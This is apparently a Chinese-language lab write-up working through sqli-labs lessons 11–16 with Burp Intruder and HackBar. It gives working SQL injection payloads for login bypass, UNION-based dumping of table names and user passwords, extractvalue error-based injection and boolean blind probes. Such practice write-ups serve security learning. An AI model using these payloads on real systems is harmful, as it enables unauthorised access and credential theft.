less-11
進去以後首頁長這樣:
輸入admin/admin後即可登入成功。
看到這樣的網頁,第一個想法就是找是不是有sql injection的語句,可以不用正規密碼直接successfully logged in。網路上當然有許多這種bypass的payload,比如:
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads。
當然可以一條一條去試,但這太浪費時間了,可以用burp來幫忙。首先開啟burp:
按上圖open browser後,再按intercept is off把intercept調到on。接下來在開啟的網頁上隨便輸入帳密後按submit:
burp會出現以下畫面:
可以看到上圖最後一行,就是剛剛輸入的帳號密碼。我們會希望可以把passwd等號後面的東西可以自動替換成剛剛SQL Injection Auth Bypass Payloads的那些字串,步驟如下:
按右鍵後再選send to Intruder:
可以看到下圖:
看上圖,把最下面那一行的admin給反藍後按右邊的add$,並切換到Payloads頁籤,把剛剛payload網頁的東西反藍後按ctrl-c,並到下圖頁面按下Paste:
這時即會出現剛剛網頁上所有payload如下圖:
再去按右上角的start attack即可開始自動填入帳密,攻擊結果如下:
攻擊完成後,可以直接從上圖的Response底下的Render看見當下網頁狀況,可以發現length超過1800的都可以成功登入,比如admin' or '1'='1#
,不用輸入密碼。
chrome使用hackbar:
輸入admin/admin送出後,把上圖的Use Post method打勾,再Load URL,即可顯示以上畫面,可以從網頁直接控制Post data。
由於可能會送不出去,要參考以下網頁的解決方法:
而剛剛burp攔截到的如下:
uname=admin&passwd=admin&submit=Submit
只要調成Submit=submit即可。
這時就可以任意更改上圖Body部分,再按EXECUTE即可再次load網頁。比如
username被改成了admin' or '1'='1'#
,按下execute以後一樣可以成功登入。
因為登入成功後會出現Your Login name:Dumb、Your Password:Dumb等訊息,所以可以試試union攻擊。首先先測測有幾欄:
payload(如下反藍,先猜是不是有三欄): ' or '1'='1' union select null,null,null
按EXECUTE後沒有回顯,代表猜錯,試試兩個null:
有回顯,代表是兩欄。
但直接用上面payload不知為何會無法回顯,比如:
passwd=admin&Submit=submit&uname=admin' UNION SELECT 1,version()#
照理應該顯示版本,但卻還是一樣的頁面:
後來稍微排列組合一下。原本是先密碼接下來submit,再來是帳號;變成先帳號再密碼再submit,payload接在密碼後面,如下所示:
uname=a&passwd=a' UNION SELECT 1,version()#&Submit=submit
可以發現Your Password後面確實顯示版本8.0.31。這同時也告訴我們一件事,就是繞過的payload如果可以適用於某個欄位,就可以適用於同樣地方的另一個欄位。
因此,下圖的反藍處就是可以任意替換成各式payload的地方,其查詢結果會顯示在Your Password:
的後面。
接下來就可以參照less-1來查帳密。
查security底下有哪一些table:
uname=a&passwd=a' UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'#&Submit=submit
查users這table有哪些column:
uname=a&passwd=a' UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'#&Submit=submit
查詢username跟password這兩個column的內容:
uname=a&passwd=a' UNION SELECT group_concat(username),group_concat(password) FROM users#&Submit=submit
less-12
試哪個密碼可繞過,再去研究閉合方式。其他跟less-11一樣。
試試其中一個:
可以發現上圖藍字可以抽換成sql語句。sql語句如下:
測試有幾欄:
UNION SELECT null,null顯示security這個DB有哪些table:
UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'顯示security這個DB底下的users這個table有哪些column:
UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'顯示users這個table的username跟password這兩個column的內容
UNION SELECT group_concat(username),group_concat(password) FROM users
less-13
less-11一開始做過的再做一次後如下圖,可以看得出來大概是用')
閉合。
把上圖反藍換成payload: extractvalue(1,concat(0x7e,(select database())))
,會發現有錯誤訊息,且顯示目前資料庫如下圖上方的反藍處:
extractvalue的原理:
1、extractvalue(xml_frag, xpath_expr):從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。
SQL報錯注入的應用:當使用extractvalue(xml_frag, xpath_expr)函數時,若xpath_expr參數不符合xpath格式,就會報錯。
而符號(ascii編碼值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr參數中使用~
符號,就會產生xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。
之後上上張圖的1=1要換成什麼,可以參照less-17。
less-14
實際試試其中一個可以繞過的密碼admin" or 1=1#,的確可以成功登入,且經測試,less-13的payload可以塞在下圖反藍處,可以做報錯注入,也可以做bool盲注。
比如目前所在的資料庫的名稱長度的查詢語句length(database())='8':
如果改成7的話就會顯示failed,代表目前資料庫名稱長度是8不是7,其他語句是一樣道理。
至於盲注語句,可以參考less-5:
猜目前所在的資料庫的名稱:
(SELECT SUBSTRING(database(), 1, 1)) = 's'猜security的第一個table名稱:
substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e'table裡有幾個column? (橫軸數量):
(SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3猜user這個table裡的column有哪些,名字是什麼:
substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d'table裡有幾個row(縱軸數量):
(SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13猜測users這個table裡的username:
substr((select username from security.users limit 0,1),1,1)='D'猜測users這個table裡的password:
就是把上一句的username改成password而已,其他不變,payload如下:
substr((select password from security.users limit 0,1),1,1)='D'
也可以試試跟less-17一樣的報錯注入。
less-15
一樣用
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads來測試哪些密碼可以順利登入,進而找出注入方式,從上圖反藍處挑倒數第二個。
也就是說跟less-14相同,只是admin後面的"
變成'
。
less-16
挑上圖反藍最下面那個Payload,感覺它的"1"="1"
可以直接換成其他sql查詢語句。
經過測試後,的確把上圖反藍換成less-5用過的語句,即可使用blind sql injection。